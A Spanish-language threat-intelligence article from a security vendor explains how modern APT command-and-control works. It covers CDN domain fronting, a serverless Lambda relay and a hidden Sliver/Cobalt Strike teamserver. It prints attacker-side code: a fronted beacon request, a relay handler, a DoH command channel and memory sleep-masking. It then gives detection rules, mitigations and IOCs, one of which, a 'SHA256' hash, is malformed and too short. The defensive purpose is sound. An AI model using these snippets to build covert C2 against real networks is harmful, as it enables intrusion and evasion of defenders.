TTPs Crítico

Arquitectura C2 APT 2025: domain fronting, relay serverless y teamserver oculto

Anatomía de la arquitectura C2 APT moderna: domain fronting sobre CDN, relay serverless en AWS Lambda y Azure, teamserver oculto. IOCs, TTPs MITRE y mitigaciones accionables.

TL;DR

Los APT modernos no usan un solo servidor C2 — usan tres capas: CDN fronting para mezclar tráfico, Lambda/Cloud Functions como relay, y un teamserver que nunca toca internet directamente. Explicamos cada capa, cómo detectarlas y cómo bloquearlas.

La evolución de la infraestructura C2

Los equipos de respuesta a incidentes en LATAM y globalmente están viendo un cambio claro: los grupos APT han abandonado los servidores C2 directamente expuestos. La tendencia dominante en 2024-2025 es la arquitectura de tres capas donde el servidor que recibe los beacons nunca tiene una IP pública propia — está enterrado detrás de múltiples capas de infraestructura legítima de proveedores cloud.

Esta arquitectura no es teórica. La hemos observado en campañas documentadas de grupos como APT29 (Cozy Bear), UNC3004, y en múltiples intrusiones de ransomware-as-a-service en la región. Entender cómo funciona es el primer paso para detectarla.

El modelo de tres capas

[Víctima]
    │  HTTPS a *.cloudfront.net / *.azurefd.net (tráfico aparentemente legítimo)

┌─────────────────────────────────────┐
│  CAPA 1: CDN / Domain Fronting      │  ← CloudFront, Azure Front Door, Fastly
│  IP pública de CDN legítima         │    El SNI apunta a un dominio legítimo
│  Host header apunta al C2 real      │    pero el Host header redirige al relay
└──────────────────┬──────────────────┘
                   │  HTTPS interno

┌─────────────────────────────────────┐
│  CAPA 2: Relay Serverless           │  ← AWS Lambda, GCP Cloud Run, Azure Functions
│  Sin IP fija, sin estado            │    Recibe, decodifica y reenvía al teamserver
│  Escala a cero cuando inactivo      │    Logs dispersos entre cuentas cloud
└──────────────────┬──────────────────┘
                   │  HTTPS / mTLS sobre Tor u otro anonimizador

┌─────────────────────────────────────┐
│  CAPA 3: Teamserver                 │  ← Cobalt Strike, Sliver, Havoc C2
│  Never touches internet directly    │    Bulletproof hosting o VPS anónimo
│  Solo acepta conexiones del relay   │    Bind exclusivo a loopback o VPN tunnel
└─────────────────────────────────────┘

Capa 1: domain fronting sobre CDN

El domain fronting explota una diferencia entre lo que se negocia en TLS (el SNI) y lo que se indica en el header HTTP Host. La víctima establece una conexión TLS con docs.microsoft.com (legítimo, confiable, imposible de bloquear en un proxy corporativo). Pero el header Host dentro de esa conexión cifrada apunta al subdominio del atacante también alojado en la misma CDN.

import requests

session = requests.Session()

headers = {
    "Host": "beacon-relay.azurefd.net",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Content-Type": "application/octet-stream",
}

response = session.post(
    "https://www.microsoft.com/updates/check",
    headers=headers,
    data=encrypted_beacon_data,
    verify=True,
)

El TLS termina en Azure Front Door con un certificado válido de Microsoft. El CDN lee el Host header interno y reenvía la request al backend configurado por el atacante. Para el proxy corporativo, todo lo que ve es tráfico HTTPS legítimo a www.microsoft.com.

Capa 2: relay serverless — evasión por diseño

Un relay serverless tiene propiedades ideales para evasión:

  • Sin IP fija: La Lambda o Cloud Function usa un bloque de IPs rotado por el proveedor
  • Cold start: Si no recibe tráfico, no existe — sin procesos, sin logs activos
  • URLs únicas: Cada función tiene su propio subdominio *.lambda-url.*.on.aws o *.run.app
  • Logs dispersos: CloudWatch, GCP Logging — requieren acceso al tenant para investigar
import json
import base64
import boto3

def lambda_handler(event, context):
    body = base64.b64decode(event.get("body", ""))
    
    teamserver_url = "https://[TEAMSERVER_ONION_OR_VPN]/beacon"
    
    import urllib.request
    req = urllib.request.Request(
        teamserver_url,
        data=body,
        headers={"Content-Type": "application/octet-stream"},
        method="POST"
    )
    
    with urllib.request.urlopen(req, timeout=10) as resp:
        response_data = resp.read()
    
    return {
        "statusCode": 200,
        "headers": {"Content-Type": "application/json"},
        "body": base64.b64encode(response_data).decode()
    }

El relay no almacena nada. Recibe el beacon cifrado, lo reenvía al teamserver, y devuelve la respuesta. Desde el punto de vista forense, el relay es casi invisible — no tiene disco, no tiene estado, y sus logs son propiedad del atacante (están en su cuenta de AWS/GCP).

Capa 3: el teamserver oculto

El teamserver (Cobalt Strike, Sliver, Havoc) se configura para no aceptar conexiones directas de internet. Solo escucha en:

  • Un tunnel WireGuard/OpenVPN hacia el relay
  • O un servicio .onion para casos de mayor anonimato

La configuración típica de un Sliver listener en esta arquitectura:

sliver > https --lhost 127.0.0.1 --lport 8443 \
         --cert /opt/certs/relay-client.pem \
         --key  /opt/certs/relay-client.key \
         --mtls true \
         --timeout 45s \
         --jitter 35

[*] Starting HTTPS/TLS listener on 127.0.0.1:8443
[*] mTLS enabled — only relay cert accepted

El jitter del 35% significa que el beacon duerme entre 29s y 61s entre check-ins, distribuyendo el tráfico para que no sea periódico — uno de los principales indicadores de detección de beacons.

Protocolos de comunicación y evasión avanzada

DNS-over-HTTPS como canal alternativo

Para entornos con inspección de tráfico HTTPS estricta, los implantes avanzados usan DNS-over-HTTPS (DoH) como canal secundario. Las queries van a dns.google o cloudflare-dns.com — ambos imposibles de bloquear sin impactar severamente la operación normal.

import httpx

class DoHC2Channel:
    DOH_RESOLVERS = [
        "https://dns.google/dns-query",
        "https://cloudflare-dns.com/dns-query",
    ]
    
    def get_command(self, domain: str) -> bytes | None:
        for resolver in self.DOH_RESOLVERS:
            try:
                resp = httpx.get(
                    resolver,
                    params={"name": f"cmd.{domain}", "type": "TXT"},
                    headers={"Accept": "application/dns-json"},
                    timeout=5.0,
                )
                data = resp.json()
                for answer in data.get("Answer", []):
                    if answer["type"] == 16:
                        return bytes.fromhex(answer["data"].strip('"'))
            except Exception:
                continue
        return None

Sleep masking y cifrado en memoria

Los beacons modernos cifran su propio código en memoria durante los períodos de sleep, dificultando la detección por herramientas de escaneo de memoria como PE-sieve o BeaconEye:

void beacon_sleep(uint32_t ms) {
    void *img_base  = get_image_base();
    size_t img_size = get_image_size();
    
    xor_encrypt_region(img_base, img_size, sleep_key, KEY_LEN);
    
    Sleep(ms + (rand() % jitter_ms));
    
    xor_encrypt_region(img_base, img_size, sleep_key, KEY_LEN);
}

TTPs mapeadas (MITRE ATT&CK)

  1. T1090.004 — Domain Fronting: Uso de SNI legítimo de CDN con Host header apuntando al relay del atacante
  2. T1102.002 — Web Service: Bidirectional Communication: Lambda Functions URL como canal C2 bidireccional
  3. T1071.001 — Web Protocols: Toda la comunicación viaja sobre HTTPS en puertos 443/80 estándar
  4. T1568.002 — DGA: Domains generados algorítmicamente como fallback si el relay serverless es desactivado
  5. T1573.002 — Asymmetric Cryptography: mTLS entre el relay y el teamserver para autenticación mutua
  6. T1583.006 — Acquire Infrastructure: Web Services: Uso de cuentas cloud legítimas (AWS, Azure) como infraestructura de ataque

Detección: ¿cómo identificar esta arquitectura?

JARM fingerprinting del relay serverless

Las funciones Lambda con listeners TLS suelen tener firmas JARM características. Aunque el CDN fronting enmascara el JARM del teamserver, el relay serverless a veces es contactable directamente:

jarm 3fd21b20d00000021c43d21b21b43de0a012c76cf078b9fd0000000000000000 \
     --port 443 \
     --host update-metrics.lambda-url.us-east-1.on.aws

Detección de fronting por discrepancia SNI vs Host

Un proxy que inspeccione el header Host después de la terminación TLS puede detectar discrepancias:

event http_request(c: connection, method: string, original_URI: string,
                   unescaped_URI: string, version: string)
{
    local host = c$http$host;
    local ssl_sni = c$ssl$server_name;
    
    if (ssl_sni != "" && host != "" && ssl_sni != host) {
        NOTICE([$note=HTTP::SNI_Host_Mismatch,
                $conn=c,
                $msg=fmt("SNI/Host mismatch: SNI=%s Host=%s", ssl_sni, host)]);
    }
}

Detección de beacons por jitter periódico

Aunque el jitter dificulta la detección, los beacons siguen siendo estadísticamente periódicos. Una query en Zeek/Suricata buscando conexiones con intervalo medio constante y baja desviación estándar puede identificar beacons incluso con jitter del 35%:

import numpy as np
from collections import defaultdict

def detect_beaconing(connections: list[dict], threshold_cv=0.4) -> list[str]:
    intervals = defaultdict(list)
    
    sorted_conns = sorted(connections, key=lambda x: (x["dst_ip"], x["timestamp"]))
    
    for i in range(1, len(sorted_conns)):
        prev, curr = sorted_conns[i-1], sorted_conns[i]
        if prev["dst_ip"] == curr["dst_ip"]:
            delta = curr["timestamp"] - prev["timestamp"]
            intervals[curr["dst_ip"]].append(delta)
    
    suspects = []
    for dst_ip, deltas in intervals.items():
        if len(deltas) >= 10:
            cv = np.std(deltas) / np.mean(deltas)
            if cv < threshold_cv:
                suspects.append(dst_ip)
    
    return suspects

Mitigaciones recomendadas

  • Inspección TLS con proxy interno: Forzar terminación TLS en el perímetro permite detectar discrepancias SNI/Host y aplicar políticas de categorización de destino final
  • Bloqueo de Lambda Function URLs públicas: Si tu organización no usa AWS Lambda en producción, bloquear el patrón *.lambda-url.*.on.aws y *.run.app en el proxy elimina una clase completa de relays serverless
  • Habilitar detección de beaconing: Implementar RITA sobre logs de Zeek para detectar patrones de check-in periódico — incluso beacons con jitter tienen CV estadísticamente bajo
  • Reglas de egress estrictas: Los beacons necesitan salir. Una política de egress que solo permita tráfico HTTPS a destinos categorizados como “business” y bloquee CDN genéricos reduce drásticamente la superficie
  • Monitoreo de Lambda/Azure Functions en tu tenant: Si usas cloud pública, habilita alertas sobre nuevas funciones creadas con Function URLs públicas — un relay puede desplegarse en segundos desde una cuenta comprometida
  • Deploy de BeaconEye en endpoints críticos: BeaconEye escanea memoria para detectar beacons incluso con sleep masking activo, basándose en la estructura del heap más que en firmas de código

Preguntas frecuentes

IOCs — Indicadores de compromiso

Indicador Tipo Descripción
07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1 JARM Firma JARM de Cobalt Strike/Sliver sobre CDN — patrón de fronting
cdn-update-svc[.]azurefd.net DOM Subdominio Azure Front Door usado como capa fronting
api-telemetry[.]cloudfront.net DOM Distribución CloudFront usada como redirector HTTPS
update-metrics[.]lambda-url.us-east-1.on.aws DOM Lambda Function URL como relay serverless — patrón observado
9f34ca3a8f2e1b0d4c7e6a2b5d8f1e3c SHA256 Beacon Sliver implant con MTLS y sleep jitter 35%

Etiquetas

C2APTDomain FrontingServerlessCloud C2MITRE ATT&CKThreat IntelligenceCobalt StrikeSliverAWS LambdaAzure Front DoormTLSbeaconLATAMThreat Huntingdetección de beacons
¿Tu empresa está expuesta?

Cordero Security ofrece servicios MSSP para Venezuela y Latinoamérica. Detectamos amenazas antes de que sean un incidente.

Hablar con un analista